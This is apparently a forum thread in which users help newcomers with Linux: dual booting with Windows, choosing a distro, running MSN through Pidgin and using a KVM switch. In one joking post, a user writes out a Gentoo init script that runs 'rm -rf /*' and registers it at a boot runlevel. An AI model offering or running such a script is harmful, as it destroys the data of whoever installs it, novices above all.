linux help for you

Flaw

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I don't understand. Are you asking if you install linux will it erase Windows? Yes ,unless you have a large enough partition available to install linux, in which case you can make a dual boot system (just install grub2 on your MBR) or install linux on another hard drive.
That sounds complicated.
Ubuntu had an easy setup procedure, it allowed Linux and Windows to co-exist, by simply choosing the option before instalation.
 

gamahiro

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Ubuntu, although easy to pickup, is possibly the worst choice in linux distros. All popular distros allow you to chose where you would like to install linux and the bootloader.
 

gamahiro

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lol

Should I init 6 first?

btw, as a joke, could I set somebody's autoexec.bat to runlevel 6?
Aww that sucks. I wrote a shell script for automatically deleting your root directory at your default boot level, but I previewed the post then clicked away without posting it. :|
I do that at least once a week.
 

gamahiro

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Code:
nano /etc/init.d/foo
#!/sbin/runscript
start() {
  (rm -rf /*)
}
chmod +x foo
ls -s /etc/runlevels/boot/foo /etc/init.d/foo
#or
Code:
rc-update add foo default
Or something like that. Tinker around and find what works for you ;)
 

gamahiro

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how easy is Linux to pick up? I'm tempted to dual boot my desktop. Also can you use MSN messenger on a Linux system?
Now-a-days it's really easy. I've heard Ubuntu is as easy as working on a Mac. But even Gentoo and Debian make a universal cd/dvd that's really easy to install.
There are a couple of programs that can handle msn, but I haven't tried them.
I'm more than happy to help you or anyone that wants to try it out.
 

gamahiro

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how easy is Linux to pick up? I'm tempted to dual boot my desktop. Also can you use MSN messenger on a Linux system?
Something else you can do besides dual booting:
If you have an older desktop collecting dust somewhere, or you can find someone that's getting rid of an old computer, just hook both of your desktops, a keyboard, mouse and monitor to a KVM switch. That way you can just toggle between the two desktops (linux and windows) without having to reboot. It's also nice if one of the computers goes down you have a back up.
You can get a KVM for less than $20 online. I have a pretty good one connected to my desktop and workstation. It was $30 for the hub and another $20 for the cables.
If you want to get fancy, you can install 2 nics in the linux box and run a dhcp server, and use it as a firewall as well.
All sorts of options.
 

Ragnaroc

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Now-a-days it's really easy. I've heard Ubuntu is as easy as working on a Mac. But even Gentoo and Debian make a universal cd/dvd that's really easy to install.
There are a couple of programs that can handle msn, but I haven't tried them.
I'm more than happy to help you or anyone that wants to try it out.
yeah i figured as much...I think pidgin can be used on Linux systems
Something else you can do besides dual booting:
If you have an older desktop collecting dust somewhere, or you can find someone that's getting rid of an old computer, just hook both of your desktops, a keyboard, mouse and monitor to a KVM switch. That way you can just toggle between the two desktops (linux and windows) without having to reboot. It's also nice if one of the computers goes down you have a back up.
You can get a KVM for less than $20 online. I have a pretty good one connected to my desktop and workstation. It was $30 for the hub and another $20 for the cables.
If you want to get fancy, you can install 2 nics in the linux box and run a dhcp server, and use it as a firewall as well.
All sorts of options.
well I only have one desktop, though I may install Linux on my older laptop since I have a spare 2.5 HDD. How much harder is it to install on a laptop than a desktop and is a specific version needed?
 
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gamahiro

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yeah i figured as much...I think pidgin can be used on Linux systems


well I only have one desktop, though I may install Linux on my older laptop since I have a spare 2.5 HDD. How much harder is it to install on a laptop than a desktop and is a specific version needed?
I use pidgin for aim (sometimes). Apparetly pidgin can handle the msn protocol, but I haven't got it to work on gentoo.

It isn't any harder or easier. Look at these lists to see if your hardware is supported:
There aren't many devices now that linux won't work with.
Take a look at gentoo and debian for your distros. They are the two best in my opinion, but feel free to take a look at the others as well. gentoo can be a little tricky to build, but it also gives you the most flexibility to build the OS however you want. It's etremely well documented.
 

Wesobi

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Hmm... I've heard great stuff about Linux, but all of that from people who have a good mind about computers. Now to me, this all sounds like chinese, so I doubt someone who has basic information about computers can actually use Linux in a way that actually benefits them more than Windows?
 

Ragnaroc

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I use pidgin for aim (sometimes). Apparetly pidgin can handle the msn protocol, but I haven't got it to work on gentoo.

It isn't any harder or easier. Look at these lists to see if your hardware is supported:
There aren't many devices now that linux won't work with.
Take a look at gentoo and debian for your distros. They are the two best in my opinion, but feel free to take a look at the others as well. gentoo can be a little tricky to build, but it also gives you the most flexibility to build the OS however you want. It's etremely well documented.
hmmm..i went to that site but couldn't find my laptop. Its a Toshiba Satellite M305D-S2829. I had found a site that mentioned dual booting with Windows Vista and Linux.
 

gamahiro

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hmmm..i went to that site but couldn't find my laptop. Its a Toshiba Satellite M305D-S2829. I had found a site that mentioned dual booting with Windows Vista and Linux.
From what I just read, that laptop is fine for any distro. The only problem I saw was the mic not being usable.
 

Zombie

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Hmm... I've heard great stuff about Linux, but all of that from people who have a good mind about computers. Now to me, this all sounds like chinese, so I doubt someone who has basic information about computers can actually use Linux in a way that actually benefits them more than Windows?
Actually, there could be a lot of benefits. For example, there is far more malware out there written for windows. As a basic computer user, you will be prone to picking up malware. Sure, you can shell out some cash for a bunch of software to protect your computer, but eventually you'll still be forced to do a fresh install. (It's inevitable).

Other advantages could include actually learning more about your computer, your hardware, and becoming more advanced in knowledge.

Anyway, just food for thought.
 

Wesobi

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Actually, there could be a lot of benefits. For example, there is far more malware out there written for windows. As a basic computer user, you will be prone to picking up malware. Sure, you can shell out some cash for a bunch of software to protect your computer, but eventually you'll still be forced to do a fresh install. (It's inevitable).

Other advantages could include actually learning more about your computer, your hardware, and becoming more advanced in knowledge.

Anyway, just food for thought.
hmmm... I might try it out on my old computer, so if I do something wrong I can still work decent on my current one.
 
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